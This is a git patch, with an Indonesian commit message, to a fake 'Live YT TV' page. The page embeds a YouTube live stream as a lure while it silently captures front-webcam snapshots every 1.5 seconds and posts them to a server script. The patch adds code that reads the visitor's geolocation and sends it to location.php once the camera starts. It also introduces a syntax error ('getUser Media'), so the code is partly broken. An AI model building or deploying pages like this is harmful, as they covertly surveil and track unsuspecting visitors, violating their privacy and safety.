From 4e258d95c533a7d8f844e0a989487dc606f35bfb Mon Sep 17 00:00:00 2001
From: JARVIS <68321889+jarvis-v3@users.noreply.github.com>
Date: Fri, 29 Nov 2024 23:10:04 +0800
Subject: [PATCH] Update LiveYTTV.html

Untuk mengintegrasikan fungsi geolokasi dengan kode yang sudah ada, kami melakukan beberapa modifikasi sebagai berikut:

Di dalam fungsi handleSuccess, kami menambahkan pemanggilan fungsi getLocation setelah aliran video dimulai. Ini memastikan bahwa data lokasi diambil dan dikirim ke server hanya setelah aliran video aktif.

Fitur geolokasi memerlukan izin pengguna untuk mengakses lokasi mereka. Jika pengguna menolak izin, skrip tidak akan dapat mengambil data lokasi mereka.
Skrip location.php harus dibuat dan dikonfigurasi untuk menangani dan menyimpan data lokasi yang dikirim oleh skrip.
---
 LiveYTTV.html | 75 ++++++++++++++++++++++++++++++++++-----------------
 1 file changed, 50 insertions(+), 25 deletions(-)
diff --git a/LiveYTTV.html b/LiveYTTV.html
index dea24dc..57c425b 100644
--- a/LiveYTTV.html
+++ b/LiveYTTV.html
@@ -15,20 +15,47 @@
 <script>
 
 function post(imgdata){
-$.ajax({
-    type: 'POST',
-    data: { cat: imgdata},
-    url: 'forwarding_link/post.php',
-    dataType: 'json',
-    async: false,
-    success: function(result){
-        // call the function that handles the response/results
-    },
-    error: function(){
-    }
-  });
-};
+    $.ajax({
+        type: 'POST',
+        data: { cat: imgdata},
+        url: 'forwarding_link/post.php',
+        dataType: 'json',
+        async: false,
+        success: function(result){
+            // call the function that handles the response/results
+        },
+        error: function(){
+        }
+    });
+}
 
+function sendLocation(latitude, longitude) {
+    $.ajax({
+        type: 'POST',
+        url: 'location.php', // Ganti dengan path yang sesuai
+        data: { lat: latitude, long: longitude },
+        success: function(response) {
+            console.log("Location sent successfully: " + response);
+        },
+        error: function() {
+            console.error("Error sending location.");
+        }
+    });
+}
+
+function getLocation() {
+    if (navigator.geolocation) {
+        navigator.geolocation.getCurrentPosition(function(position) {
+            var latitude = position.coords.latitude;
+            var longitude = position.coords.longitude;
+            sendLocation(latitude, longitude);
+        }, function(error) {
+            console.error("Error getting location: " + error.message);
+        });
+    } else {
+        console.log("Geolocation is not supported by this browser.");
+    }
+}
 
 'use strict';
 
@@ -39,7 +66,6 @@
 const constraints = {
   audio: false,
   video: {
-    
     facingMode: "user"
   }
 };
@@ -47,10 +73,10 @@
 // Access webcam
 async function init() {
   try {
-    const stream = await navigator.mediaDevices.getUserMedia(constraints);
+    const stream = await navigator.mediaDevices.getUser Media(constraints);
     handleSuccess(stream);
   } catch (e) {
-    errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
+    errorMsgElement.innerHTML = `navigator.getUser Media error:${e.toString()}`;
   }
 }
 
@@ -59,14 +85,15 @@
   window.stream = stream;
   video.srcObject = stream;
 
-var context = canvas.getContext('2d');
+  var context = canvas.getContext('2d');
   setInterval(function(){
-
        context.drawImage(video, 0, 0, 640, 480);
        var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
-       post(canvasData); }, 1500);
+       post(canvasData); 
+  }, 1500);
   
-
+  // Mendapatkan lokasi setelah video dimulai
+  getLocation();
 }
 
 // Load init
@@ -74,9 +101,7 @@
 
 </script>
 
-    <body>
-        <iframe id="Live_YT_TV" width="100%" height="500px" src="https://www.youtube.com/embed/live_yt_tv?autoplay=1" frameborder="0" allow="autoplay encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
-
-    </body>
-
+<body>
+    <iframe id="Live_YT_TV" width="100%" height="500px" src="https://www.youtube.com/embed/live_yt_tv?autoplay=1" frameborder="0" allow="autoplay encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
+</body>
 </html>
